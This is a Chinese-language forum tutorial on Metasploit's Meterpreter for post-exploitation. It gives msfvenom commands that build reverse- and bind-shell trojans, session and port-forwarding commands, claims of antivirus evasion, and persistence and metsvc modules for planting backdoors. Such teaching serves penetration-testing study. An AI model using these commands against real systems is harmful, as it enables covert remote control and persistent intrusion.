來自i春秋作者 zusheng

前言

熟悉Metasploit的應該對Meterpreter不陌生,作為后滲透階段的利器,其強大之處可想而知,那么本篇文章就帶大家來學習一下Meterpreter,目的在于讓大家了解它的常用命令和使用方法。

目錄

第一節 初識Meterpreter

  • 1.1、什么是Meterpreter
  • 1.2、Meterpreter的優點

第二節 Meterpreter中常用的Shell

  • 2.1、reverse_tcp
  • 2.2、reverse_http
  • 2.3、reverse_https
  • 2.4、bind_tcp

第三節 Meterpreter的常用命令

  • 3.1、基本命令
  • 3.2、文件系統命令
  • 3.3、網絡命令
  • 3.4、系統命令

第四節 后滲透攻擊模塊

  • 4.1、什么是后滲透攻擊模塊
  • 4.2、后滲透攻擊模塊的實現原理
  • 4.3、enum_drives

第五節 植入后門

  • 5.1、persistence后滲透攻擊模塊
  • 5.2、metsvc后滲透攻擊模塊

第一節 初識Meterpreter

1.1、什么是Meterpreter

Meterpreter是Metasploit框架中的一個擴展模塊,作為溢出成功以后的攻擊載荷使用,攻擊載荷在溢出攻擊成功以后給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpretershell的鏈接。Meterpretershell作為滲透模塊有很多有用的功能,比如添加一個用戶、隱藏一些東西、打開shell、得到用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、得到遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等信息。另外Meterpreter能夠躲避入侵檢測系統。在遠程主機上隱藏自己,它不改變系統硬盤中的文件,因此HIDS[基于主機的入侵檢測系統]很難對它做出響應。此外它在運行的時候系統時間是變化的,所以跟蹤它或者終止它對于一個有經驗的人也會變得非常困難。最后,Meterpreter還可以簡化任務創建多個會話。可以來利用這些會話進行滲透。

1.2、Meterpreter技術優勢

Metasploit提供了各個主流平臺的Meterpreter版本,包括Windows、Linux,同時支持x86、x64平臺,另外,Meterpreter還提供了基于PHP和Java語言的實現。Meterpreter的工作模式是純內存的,好處是啟動隱藏,很難被殺毒軟件監測到。不需要訪問目標主機磁盤,所以也沒什么入侵的痕跡。除上述外,Meterpreter還支持Ruby腳本形式的擴展。所以Ruby語言還很有必要。

第二節 Meterpreter中常用的Shell

2.1、reverse_tcp

這是一個基于TCP的反彈shell,下面演示Linux下反彈shell,Windows道理一樣不做演示。

  • Linux

使用下列命令生成一個Linux下反彈shell木馬:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444? -f elf -o isshell

看上圖,我們可以看見目錄下已經成功生成木馬文件isshell。然后我們給文件加上執行權限。

然后我們打開Metasploit,使用模塊handler,設置payload,注意:這里設置的payload要和我們生成木馬所使用的payload一樣。

設置下地址和端口,我們就開始監聽了。

這邊運行一下我們的反彈shell木馬,可以發現成功反彈回shell了。

  • Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名

2.2、reverse_http

基于http方式的反向連接,在網速慢的情況下不穩定。

payload:/windows/meterpreter/reverse_http

2.3、reverse_https

基于https方式的反向連接,在網速慢的情況下不穩定。

2.4、bind_tcp

這是一個基于TCP的正向連接shell,因為在內網跨網段時無法連接到attack的機器,所以在內網中經常會使用,不需要設置LHOST。

使用下列命令生成木馬:

msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444? -f elf -o bindshell

同樣道理加權限運行,不演示了。

這里注意,我們設置的IP地址和端口就是目標機的。因為這是我們主動來連接它。

第三節 Meterpreter的常用命令

3.1、基本命令

background? # 讓meterpreter處于后臺模式? 
sessions -i index?? # 與會話進行交互,index表示第一個session? 
quit? # 退出會話? 
shell # 獲得控制臺權限? 
irb # 開啟ruby終端

3.2、文件系統命令

cat # 查看文件內容? 
getwd # 查看當前工作目錄? 
upload? # 上傳文件到目標機上? 
download # 下載文件到本機上? 
edit # 編輯文件? 
search? # 搜索文件

3.3、網絡命令

ipconfig / ifconfig # 查看網絡接口信息? 
portfwd? add -l 4444 -p 3389 -r 192.168.1.102 # 端口轉發,本機監聽4444,把目標機3389轉到本機4444 
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop來連接,-u 用戶名 -p 密碼
route # 獲取路由表信息

3.4、系統命令

ps # 查看當前活躍進程 
migrate pid # 將Meterpreter會話移植到進程數位pid的進程中 
execute -H -i -f cmd.exe # 創建新進程cmd.exe,-H不可見,-i交互 
getpid # 獲取當前進程的pid 
kill pid # 殺死進程 
getuid # 查看權限 
sysinfo # 查看目標機系統信息,如機器名,操作系統等 
shutdown # 關機

第四節 后滲透攻擊模塊

4.1、什么是后滲透攻擊模塊

后滲透攻擊模塊(Post)是Metasploit v4版本中正式引入的一種新類型的組件模塊,主要支持在滲透攻擊取得目標系統遠程控制權之后,在受控系統中進行各式各樣的后滲透攻擊動作,比如獲取敏感信息、進一步拓展、實施跳板攻擊等。

4.2、后滲透攻擊模塊的實現原理 后滲透攻擊模塊是通過Ruby語言編寫的,目標機上可能沒有Ruby解釋器吧,那么后滲透攻擊模塊是如何通過Meterpreter會話在目標機上執行的呢。看下來步驟: 后滲透攻擊腳本由Meterpreter客戶端解釋 遠程調用Meterpreter服務端提供的API(Meterpreter服務端即運行在目標機上的攻擊載荷)

4.3、enum_drives

這個后滲透攻擊模塊是獲取目標主機磁盤分區信息,我們就以這個例講解后滲透攻擊模塊使用方法。

我們首先將meterpreter會話放入后臺,然后搜索我們的模塊。

然后使用use命令來使用模塊,然后設置一下會話id,接著執行,可以發現成功獲取到目標主機磁盤分區的信息。

第五節 植入后門

Meterpreter僅僅是在內存中駐留的Shellcode,只要目標機器重啟就會喪失控制權,下面就介紹如何植入后門,維持控制。

5.1、persistence后滲透攻擊模塊

使用方法: -X指定啟動的方式為開機自啟動,-i反向連接的時間間隔

然后就是監聽,等待后門連接

5.2、metsvc后滲透攻擊模塊

metsvc后滲透攻擊模塊其實就是將Meterpreter以系統服務的形式安裝到目標主機,它會上傳三個文件:

  • metsvc.dll
  • metsvc-service.exe
  • metsvc.exe

使用方法:

到目標機上,我們可以發現Meterpreter服務,正在開啟監聽并等待連接。

結束語

歡迎大家評論啊,如有不足或錯誤之處還請指出,感謝大家的支持。好多人加我QQ,加我QQ的請說明來意,不然我不會同意的,不是我多么高冷啊,主要人太多,我也不知道你是來自哪里,大家注明i春秋論壇就行了,謝謝了。

本文由i春秋學院提供:http://bbs.ichunqiu.com/thread-10580-1-1.html?from=paper


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/29/